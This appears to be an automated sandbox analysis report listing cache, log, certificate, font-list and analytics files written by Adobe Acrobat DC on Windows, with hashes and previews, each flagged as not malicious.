SHA-256:	654ACB733659312061469A70D5D7B43DAE08A2C5D805B4DE17EAE5DE4575DD06
SHA-512:	725851914CABBD0B8FFC2B6BE511BF0C9361D6B278319FAC31727E71E842F1FD954C57E20B3D77133225305E859BF92CBA9B5AEDB1E7561848357F180C24DDE3
Malicious:	false
Preview:	2025/01/11-00:39:24.024 1cf8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-00:39:24.026 1cf8 Recovering log #3.2025/01/11-00:39:24.032 1cf8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.193969431189567
Encrypted:	false
SSDEEP:	6:iOUnd+q2PcNwi2nKuAl9OmbzNMxIFUtOnh5ZmwgnmVkwOcNwi2nKuAl9OmbzNMFd:7vvLZHAa8jFUtS5/j54ZHAa84J
MD5:	DFC510D67847DC352B81F334DDA7EB40
SHA1:	32C1FC251754BE63A81D5CBB3D24328576367EED
SHA-256:	654ACB733659312061469A70D5D7B43DAE08A2C5D805B4DE17EAE5DE4575DD06
SHA-512:	725851914CABBD0B8FFC2B6BE511BF0C9361D6B278319FAC31727E71E842F1FD954C57E20B3D77133225305E859BF92CBA9B5AEDB1E7561848357F180C24DDE3
Malicious:	false
Preview:	2025/01/11-00:39:24.024 1cf8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-00:39:24.026 1cf8 Recovering log #3.2025/01/11-00:39:24.032 1cf8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438443946917294
Encrypted:	false
SSDEEP:	384:yeaci5GMiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:1gurVgazUpUTTGt
MD5:	40A447FAA1FDF057B26669FE4650CC17
SHA1:	24E8652EDE8E37FC164510E3DBCDD044C5880327
SHA-256:	0D04465ADA92853DA10A790FDFEECCE85471F4B44CE068C543E80FF195585FC8
SHA-512:	CBBCBC1BC8D880D6E7B6F9B1378FD8A1E54C1E0EA270E31DB030210FA07D5B2D2C0EA12213BF91FD8EC8D8F42D45E931B0C9FC83376510BA466D62EF1623E86F
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7725203080367495
Encrypted:	false
SSDEEP:	48:7Mup/E2ioyVnioy3DoWoy1CABoy1fKOioy1noy1AYoy1Wioy1hioybioy3oy1noU:7Npjun0iA5XKQGkb9IVXEBodRBke
MD5:	76732B96F557280C5E982804A5CE0064
SHA1:	738B97D8B4535428B8683A4B3B8E391EE4A9A71E
SHA-256:	676EE723137E538DAF8ADF2F0E43C761BBAD452F8E649DC18E5A175D0F90DC2F
SHA-512:	8B79F973AFB561E44C259F33877FF24B7C53802E25AD371925898401D3629CED580BE8553CB4F82C8B342BB7E83392AECC92727EB89C41A8D0D1536F5C248EB5
Malicious:	false
Preview:	.... .c.....!.7................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.694401573172973
Encrypted:	false
SSDEEP:	3:kkFklwHbKp+stfllXlE/HT8kghl1NNX8RolJuRdxLlGB9lQRYwpDdt:kKpHw+seT8x3NMa8RdWBwRd
MD5:	94AF84CF3034D20C7BFB3621C95F9D60
SHA1:	39591E6105FA24AFBC774EE327E0A24A66ED5A52
SHA-256:	268625BAC1348827FA245347BAF736AD9C36FB878E5627FA409F1F6914814DFA
SHA-512:	87E0DAFD5C474A1676921E7F3F5F8912CE3E02C0354E72BA6F2F60041E46F724546BF81563C404532C4B6D9F618B2507506B7B46DD79AC6A675B4F8770FE35A1
Malicious:	false
Preview:	p...... ........C./.c..(....................................................... ..........W....tc..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.234591379520364
Encrypted:	false
SSDEEP:	6:kKA2tL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:9tiDImsLNkPlE99SNxAhUe/3
MD5:	84F5B14738C9DD647C39197A547AC533
SHA1:	16905F89C51308B1BD84DDC5C084ADF31C289902
SHA-256:	6A88E3B5080761CF47FE8D87F0DB088ACD1FD715F3276F82360E7B556238BD76
SHA-512:	AB539A5411D84ADF608C83DE3993A3B2B48B0FB3157930451DB1AAC496804812E660FB352CE66362EA966A5DA1E1BE0440C4134E4A92912F62BC1D3C20192645
Malicious:	false
Preview:	p...... ........1..A.c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.4208

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.4208

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.368557576893329
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmnvlctS1WsGiIPEeOF0YwZJKoAvJM3g98kUwPeUkwRe9:YvXKXmvGwcsdTeOWnGMbLUkee9
MD5:	094A32F13BE4814FBBA6D3AC06C1871C
SHA1:	2CD821CB35860C60F3F39995CAEA975449B81B48
SHA-256:	0B268CB4A8094D61931638DE91405C3CC1EAAEA8FE34D536F0A5836F4438D640
SHA-512:	6B82784CBA7D68FC75445B77FD23AE0BC7FE4A8C21900B8318BF707C3432EE2AC94FE84CF933B7863C380052D47878ABF33D70F0F18464FF868626CBEA1704AB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b9df1348-c811-483e-af5e-829aa7b805ac","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736746908517,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.302901922529518
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmnvlctS1WsGiIPEeOF0YwZJKoAvJfBoTfXpnrPeUkwRe9:YvXKXmvGwcsdTeOWnGWTfXcUkee9
MD5:	3666A004EEA85E5574D4589587FE3149
SHA1:	3A4CF57BF60A8B7A5F86168CC019A3144857187E
SHA-256:	4E0239F5FBA83E910D662D2FD5AD7AC9F656278F889326C17BC2600E3D60A0E2
SHA-512:	F716EA46621B2AF071423F3730C4CD19E0191109EAFCE4122498EEE12BC5501871B03095631132AA4328DE9192D2F634D48F8484BDAEF116521696E84AFB99B2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b9df1348-c811-483e-af5e-829aa7b805ac","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736746908517,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.281450239055523
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmnvlctS1WsGiIPEeOF0YwZJKoAvJfBD2G6UpnrPeUkwRe9:YvXKXmvGwcsdTeOWnGR22cUkee9
MD5:	6C46CA21F7C23BAD126713ED7EAC6936
SHA1:	A89AB48C1FC992BE5AC6E2E82F0981F13D3392BC
SHA-256:	3F8598E5173EB8FC49103535145134E2DA1BC00C0515AAB4E29EAE5C3847771F
SHA-512:	9FB36CCC016802481182A08AF4ADA32FB14B5060A2B1F787784D7E337B934AE4FDE39D5340F1DB33567BBB8B23D178DC13E979089747FD7D8589704DC725A36A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b9df1348-c811-483e-af5e-829aa7b805ac","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736746908517,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.355618132349061
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmnvlctS1WsGiIPEeOF0YwZJKoAvJfPmwrPeUkwRe9:YvXKXmvGwcsdTeOWnGH56Ukee9
MD5:	C45E6B4F65E25E6C67293F58868BE3B2
SHA1:	B81785FBFB0EF9A70C4494FAAEC811301916BD15
SHA-256:	666D2A7BD801AFAFB72F8B9A62B8F10223085D52220B6231F1F62321E020021A
SHA-512:	C42911CA03A997CFAAB04E3F43E66B406AB0DD2ACE2E0085BE15A485C8AA84A1F94D6F1DCFB83B4010D9CD77232DFB5E61A4AA1625CE3EF00993F22C066352C8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b9df1348-c811-483e-af5e-829aa7b805ac","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736746908517,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.688715766275425
Encrypted:	false
SSDEEP:	24:Yv6XmOVmeOfpLgE9cQx8LennAvzBvkn0RCmK8czOCCS3r:YvPOge0hgy6SAFv5Ah8cv/7
MD5:	A5FAF8F49C923CF8C53F50860FCFDC73
SHA1:	A19B47F4210E331D7ED850AED569E1657CD0B12E
SHA-256:	4C0E9593AE2713A449D1772E8F651C3BFA722C4F169BE2CF63739B9F2F78D8B0
SHA-512:	AAA055265AEBDE801DFF0BB58D09657D8156EF9D2D355DF22BC237DCF6703FEDD65AEDDCC5D2BD22E23BB46C56B1AB00346FED64368741C1F81A2AF5F01E0887
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b9df1348-c811-483e-af5e-829aa7b805ac","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736746908517,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.291194342958968
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmnvlctS1WsGiIPEeOF0YwZJKoAvJf8dPeUkwRe9:YvXKXmvGwcsdTeOWnGU8Ukee9
MD5:	8F80C97DF4BCE2665892D5EC989280D3
SHA1:	22C93985ABDCF2D88EEE03CB8D8329800367CFD6
SHA-256:	375662D3B686C5276041D6E1EE3696E021BD01957B1D37C99824699CDD5CB026
